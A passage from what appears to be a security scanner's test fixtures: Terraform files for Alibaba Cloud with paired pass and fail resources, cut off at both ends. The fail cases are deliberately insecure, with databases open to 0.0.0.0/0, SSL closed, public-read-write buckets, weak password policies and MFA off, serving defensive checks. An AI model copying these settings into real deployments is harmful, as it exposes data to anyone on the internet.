\"drds_audit_ti_enabled\"           = \"true\",\n    \"slb_access_enabled\"              = \"true\",\n    \"slb_access_collection_policy\"    = \"\",\n    \"slb_access_ttl\"                  = \"7\",\n    \"slb_sync_enabled\"                = \"true\",\n    \"slb_sync_ttl\"                    = \"180\",\n    \"slb_access_ti_enabled\"           = \"true\",\n    \"bastion_enabled\"                 = \"true\",\n    \"bastion_ttl\"                     = \"180\",\n    \"bastion_ti_enabled\"              = \"true\",\n    \"waf_enabled\"                     = \"true\",\n    \"waf_ttl\"                         = \"180\",\n    \"waf_ti_enabled\"                  = \"true\",\n    \"cloudfirewall_enabled\"           = \"true\",\n    \"cloudfirewall_ttl\"               = \"180\",\n    \"cloudfirewall_ti_enabled\"        = \"true\",\n    \"ddos_coo_access_enabled\"         = \"true\",\n    \"ddos_coo_access_ttl\"             = \"180\",\n    \"ddos_coo_access_ti_enabled\"      = \"true\",\n    \"ddos_bgp_access_enabled\"         = \"true\",\n    \"ddos_bgp_access_ttl\"             = \"180\",\n    \"ddos_dip_access_enabled\"         = \"true\",\n    \"ddos_dip_access_ttl\"             = \"180\",\n    \"ddos_dip_access_ti_enabled\"      = \"true\",\n    \"sas_crack_enabled\"               = \"true\",\n    \"sas_dns_enabled\"                 = \"true\",\n    \"sas_http_enabled\"                = \"true\",\n    \"sas_local_dns_enabled\"           = \"true\",\n    \"sas_login_enabled\"               = \"true\",\n    \"sas_network_enabled\"             = \"true\",\n    \"sas_process_enabled\"             = \"true\",\n    \"sas_security_alert_enabled\"      = \"true\",\n    \"sas_security_hc_enabled\"         = \"true\",\n    \"sas_security_vul_enabled\"        = \"true\",\n    \"sas_session_enabled\"             = \"true\",\n    \"sas_snapshot_account_enabled\"    = \"true\",\n    \"sas_snapshot_port_enabled\"       = \"true\",\n    \"sas_snapshot_process_enabled\"    = \"true\",\n    \"sas_ttl\"                         = \"180\",\n    \"sas_ti_enabled\"                  = \"true\",\n    \"apigateway_enabled\"              = \"true\",\n    \"apigateway_ttl\"                  = \"180\",\n    \"apigateway_ti_enabled\"           = \"true\",\n    \"nas_enabled\"                     = \"true\",\n    \"nas_ttl\"                         = \"180\",\n    \"nas_ti_enabled\"                  = \"true\",\n    \"appconnect_enabled\"              = \"true\",\n    \"appconnect_ttl\"                  = \"180\",\n    \"cps_enabled\"                     = \"true\",\n    \"cps_ttl\"                         = \"180\",\n    \"cps_ti_enabled\"                  = \"true\",\n    \"k8s_audit_enabled\"               = \"true\",\n    \"k8s_audit_collection_policy\"     = \"\",\n    \"k8s_audit_ttl\"                   = \"180\",\n    \"k8s_event_enabled\"               = \"true\",\n    \"k8s_event_collection_policy\"     = \"\",\n    \"k8s_event_ttl\"                   = \"180\",\n    \"k8s_ingress_enabled\"             = \"true\",\n    \"k8s_ingress_collection_policy\"   = \"\",\n    \"k8s_ingress_ttl\"                 = \"180\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_MongoDBInsideVPC/main.tf",
    "content": "resource \"alicloud_mongodb_instance\" \"fail\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"0.0.0.0/0\",\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  ssl_action = \"Close\"\n  # not set\n}\n\nresource \"alicloud_mongodb_instance\" \"fail2\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"0.0.0.0/0\",\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  ssl_action = \"Close\"\n  # not set\n  network_type = \"Classic\"\n}\n\nresource \"alicloud_mongodb_instance\" \"pass\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"0.0.0.0/0\",\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  ssl_action = \"Close\"\n  # not set\n  network_type = \"VPC\"\n}\n\nresource \"alicloud_vswitch\" \"ditch\" {\n  vpc_id     = \"anyoldtripe\"\n  cidr_block = \"0.0.0.0/0\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_MongoDBInstanceSSL/main.tf",
    "content": "resource \"alicloud_mongodb_instance\" \"fail\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"0.0.0.0/0\",\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  # not set\n}\n\nresource \"alicloud_mongodb_instance\" \"fail2\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"0.0.0.0/0\",\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  ssl_action = \"Close\"\n  # not set\n  network_type = \"Classic\"\n}\n\nresource \"alicloud_mongodb_instance\" \"pass\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"0.0.0.0/0\",\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  ssl_action = \"Open\"\n  # not set\n  network_type = \"VPC\"\n}\n\nresource \"alicloud_mongodb_instance\" \"pass2\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"0.0.0.0/0\",\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  ssl_action = \"Update\"\n  # not set\n  network_type = \"VPC\"\n}\nresource \"alicloud_vswitch\" \"ditch\" {\n  vpc_id     = \"anyoldtripe\"\n  cidr_block = \"0.0.0.0/0\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_MongoDBIsPublic/main.tf",
    "content": "\nresource \"alicloud_mongodb_instance\" \"fail\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"0.0.0.0/0\",\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  # not set\n}\n\nresource \"alicloud_mongodb_instance\" \"fail2\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"0.0.0.0\",\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  ssl_action = \"Close\"\n  # not set\n  network_type = \"Classic\"\n}\n\nresource \"alicloud_mongodb_instance\" \"pass\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  ssl_action = \"Open\"\n  # not set\n  network_type = \"VPC\"\n}\n\nresource \"alicloud_mongodb_instance\" \"pass2\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  ssl_action = \"Update\"\n  # not set\n  network_type = \"VPC\"\n}\n\nresource \"alicloud_vswitch\" \"ditch\" {\n  vpc_id     = \"anyoldtripe\"\n  cidr_block = \"0.0.0.0/0\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_MongoDBTransparentDataEncryptionEnabled/main.tf",
    "content": "\nresource \"alicloud_mongodb_instance\" \"fail\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"0.0.0.0/0\",\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  # not set\n}\n\n\n\nresource \"alicloud_mongodb_instance\" \"pass\" {\n  engine_version      = \"3.4\"\n  db_instance_class   = \"dds.mongo.mid\"\n  db_instance_storage = 10\n  vswitch_id          = alicloud_vswitch.ditch.id\n  security_ip_list    = [\"10.168.1.12\", \"100.69.7.112\"]\n  kms_encryption_context= {\n\n  }\n  # tde_status = \"Disabled\"\n  ssl_action = \"Update\"\n  # not set\n  network_type = \"VPC\"\n  tde_status = \"enabled\"\n}\n\nresource \"alicloud_vswitch\" \"ditch\" {\n  vpc_id     = \"anyoldtripe\"\n  cidr_block = \"0.0.0.0/0\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_OSSBucketAccessLogs/main.tf",
    "content": "\nresource \"alicloud_oss_bucket\" \"fail\" {\n  bucket = \"bucket-170309-sserule\"\n  acl    = \"private\"\n}\n\nresource \"alicloud_oss_bucket\" \"pass\" {\n  bucket = \"bucket-170309-logging\"\n\n  logging {\n    target_bucket = alicloud_oss_bucket.bucket-target.id\n    target_prefix = \"log/\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_OSSBucketEncryptedWithCMK/main.tf",
    "content": "resource \"alicloud_oss_bucket\" \"pass\" {\n  bucket = \"bucket-170309-sserule\"\n  acl    = \"private\"\n\n  server_side_encryption_rule {\n    sse_algorithm     = \"KMS\"\n    kms_master_key_id = \"your kms key id\"\n  }\n}\n\nresource \"alicloud_oss_bucket\" \"fail\" {\n  bucket = \"bucket-170309-sserule\"\n  acl    = \"private\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_OSSBucketPublic/main.tf",
    "content": "resource \"alicloud_oss_bucket\" \"good-bucket\" {\n  bucket = \"bucket-170309-acl\"\n  acl    = \"private\"\n}\n\nresource \"alicloud_oss_bucket\" \"good-bucket2\" {\n  bucket = \"bucket-170309-acl\"\n}\n\nresource \"alicloud_oss_bucket\" \"bad-bucket\" {\n  bucket = \"bucket-170309-acl\"\n  acl    = \"public-read-write\"\n}\n\nresource \"alicloud_oss_bucket\" \"bad-bucket2\" {\n  bucket = \"bucket-170309-acl\"\n  acl    = \"public-read\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_OSSBucketTransferAcceleration/main.tf",
    "content": "resource \"alicloud_oss_bucket\" \"pass\" {\n  bucket = \"bucket_name\"\n\n  transfer_acceleration {\n    enabled = true\n  }\n}\n\nresource \"alicloud_oss_bucket\" \"fail\" {\n  bucket = \"bucket_name\"\n\n  transfer_acceleration {\n    enabled = false\n  }\n}\n\nresource \"alicloud_oss_bucket\" \"fail2\" {\n  bucket = \"bucket_name\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_OSSBucketVersioning/main.tf",
    "content": "resource \"alicloud_oss_bucket\" \"pass\" {\n  bucket = \"bucket-170309-versioning\"\n  acl    = \"private\"\n\n  versioning {\n    status = \"Enabled\"\n  }\n}\n\nresource \"alicloud_oss_bucket\" \"fail\" {\n  bucket = \"bucket-170309-versioning\"\n  acl    = \"private\"\n}\n\nresource \"alicloud_oss_bucket\" \"fail2\" {\n  bucket = \"bucket-170309-versioning\"\n  acl    = \"private\"\n\n  versioning {\n    status = \"Suspended\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_PasswordPolicyExpiration/main.tf",
    "content": "resource \"alicloud_ram_account_password_policy\" \"pass\" {\n  minimum_password_length      = 14\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = true\n  hard_expiry                  = true\n  max_password_age             = 14\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 120\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail2\" {\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  hard_expiry                  = true\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_PasswordPolicyLength/main.tf",
    "content": "resource \"alicloud_ram_account_password_policy\" \"pass\" {\n  minimum_password_length      = 14\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 14\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail2\" {\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_PasswordPolicyLowercaseLetter/main.tf",
    "content": "resource \"alicloud_ram_account_password_policy\" \"pass\" {\n  minimum_password_length      = 14\n  require_lowercase_characters = true\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = true\n  hard_expiry                  = true\n  max_password_age             = 14\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail2\" {\n  require_uppercase_characters = false\n  require_numbers              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_PasswordPolicyMaxLogin/main.tf",
    "content": "resource \"alicloud_ram_account_password_policy\" \"pass\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"pass2\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 6\n}\n\nresource \"alicloud_ram_account_password_policy\" \"unknown\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = lookup(var.ram_account_password_policy, \"max_login_attempts\")\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_PasswordPolicyNumber/main.tf",
    "content": "resource \"alicloud_ram_account_password_policy\" \"pass\" {\n  minimum_password_length      = 14\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = true\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 14\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail2\" {\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_PasswordPolicyReuse/main.tf",
    "content": "resource \"alicloud_ram_account_password_policy\" \"pass\" {\n  minimum_password_length      = 14\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = true\n  hard_expiry                  = true\n  max_password_age             = 14\n  password_reuse_prevention    = 24\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 120\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail2\" {\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  hard_expiry                  = true\n  max_login_attempts           = 3\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_PasswordPolicySymbol/main.tf",
    "content": "resource \"alicloud_ram_account_password_policy\" \"pass\" {\n  minimum_password_length      = 14\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = true\n  hard_expiry                  = true\n  max_password_age             = 14\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail2\" {\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_PasswordPolicyUppcaseLetter/main.tf",
    "content": "resource \"alicloud_ram_account_password_policy\" \"pass\" {\n  minimum_password_length      = 14\n  require_lowercase_characters = false\n  require_uppercase_characters = true\n  require_numbers              = false\n  require_symbols              = true\n  hard_expiry                  = true\n  max_password_age             = 14\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail\" {\n  minimum_password_length      = 9\n  require_lowercase_characters = false\n  require_uppercase_characters = false\n  require_numbers              = false\n  require_symbols              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n\nresource \"alicloud_ram_account_password_policy\" \"fail2\" {\n  require_lowercase_characters = false\n  require_numbers              = false\n  hard_expiry                  = true\n  max_password_age             = 12\n  password_reuse_prevention    = 5\n  max_login_attempts           = 3\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_RAMSecurityEnforceMFA/main.tf",
    "content": "resource \"alicloud_ram_security_preference\" \"fail\" {\n  enable_save_mfa_ticket        = false\n  allow_user_to_change_password = true\n  enforce_mfa_for_login         = false\n}\n\nresource \"alicloud_ram_security_preference\" \"fail2\" {\n  enable_save_mfa_ticket        = false\n  allow_user_to_change_password = true\n}\n\nresource \"alicloud_ram_security_preference\" \"pass\" {\n  enable_save_mfa_ticket        = false\n  allow_user_to_change_password = true\n  enforce_mfa_for_login         = true\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_RDSInstanceAutoUpgrade/main.tf",
    "content": "resource \"alicloud_db_instance\" \"fail\" {\n  auto_upgrade_minor_version = \"Manual\"\n  engine               = \"MySQL\"\n  engine_version       = \"5.6\"\n  instance_type        = \"rds.mysql.s2.large\"\n  instance_storage     = \"30\"\n  instance_charge_type = \"Postpaid\"\n  instance_name        = \"myfirstdb\"\n  vswitch_id           = alicloud_vswitch.ditch.id\n  monitoring_period    = \"60\"\n  ssl_action           = \"Close\"\n}\n\nresource \"alicloud_vswitch\" \"ditch\" {\n  vpc_id     = \"anyoldtripe\"\n  cidr_block = \"0.0.0.0/0\"\n}\n\nresource \"alicloud_db_instance\" \"fail2\" {\n  engine               = \"MySQL\"\n  engine_version       = \"5.6\"\n  instance_type        = \"rds.mysql.s2.large\"\n  instance_storage     = \"30\"\n  instance_charge_type = \"Postpaid\"\n  instance_name        = \"myfirstdb\"\n  vswitch_id           = alicloud_vswitch.ditch.id\n  monitoring_period    = \"60\"\n  ssl_action           = \"Close\"\n}\n\nresource \"alicloud_db_instance\" \"pass\" {\n  auto_upgrade_minor_version = \"Auto\"\n  engine               = \"MySQL\"\n  engine_version       = \"5.6\"\n  instance_type        = \"rds.mysql.s2.large\"\n  instance_storage     = \"30\"\n  instance_charge_type = \"Postpaid\"\n  instance_name        = \"myfirstdb\"\n  vswitch_id           = alicloud_vswitch.ditch.id\n  monitoring_period    = \"60\"\n  ssl_action           = \"Close\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_RDSInstanceLogConnections/main.tf",
    "content": "resource \"alicloud_db_instance\" \"fail\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n  }\n  parameters {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }\n}\n\nresource \"alicloud_db_instance\" \"fail2\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n}\n\nresource \"alicloud_db_instance\" \"fail3\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n        name = \"log_duration\"\n        value = \"OFF\"\n    }\n\n  parameters {\n        name = \"log_connections\"\n        value = \"OFF\"\n    }\n}\n\nresource \"alicloud_db_instance\" \"pass\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n        name = \"log_duration\"\n        value = \"ON\"\n    }\n\n    parameters {\n        name = \"log_connections\"\n        value = \"ON\"\n    }\n}\n\nresource \"alicloud_db_instance\" \"pass2\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n        name = \"log_duration\"\n        value = \"on\"\n    }\n\n    parameters {\n        name = \"log_connections\"\n        value = \"on\"\n    }\n}\n\nresource \"alicloud_db_instance\" \"unknown\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_RDSInstanceLogDisconnections/main.tf",
    "content": "resource \"alicloud_db_instance\" \"fail\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n  }\n  parameters {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }\n}\n\nresource \"alicloud_db_instance\" \"fail2\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n}\n\nresource \"alicloud_db_instance\" \"fail3\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n        name = \"log_duration\"\n        value = \"OFF\"\n    }\n\n  parameters {\n        name = \"log_disconnections\"\n        value = \"OFF\"\n    }\n}\n\nresource \"alicloud_db_instance\" \"pass\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n        name = \"log_duration\"\n        value = \"ON\"\n    }\n\n    parameters {\n        name = \"log_disconnections\"\n        value = \"ON\"\n    }\n}\n\nresource \"alicloud_db_instance\" \"pass2\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n        name = \"log_duration\"\n        value = \"on\"\n    }\n\n    parameters {\n        name = \"log_disconnections\"\n        value = \"on\"\n    }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_RDSInstanceLogsEnabled/main.tf",
    "content": "resource \"alicloud_db_instance\" \"fail\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n  }\n  parameters {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }\n}\n\nresource \"alicloud_db_instance\" \"fail2\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n}\n\nresource \"alicloud_db_instance\" \"fail3\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n        name = \"log_duration\"\n        value = \"OFF\"\n    }\n}\n\nresource \"alicloud_db_instance\" 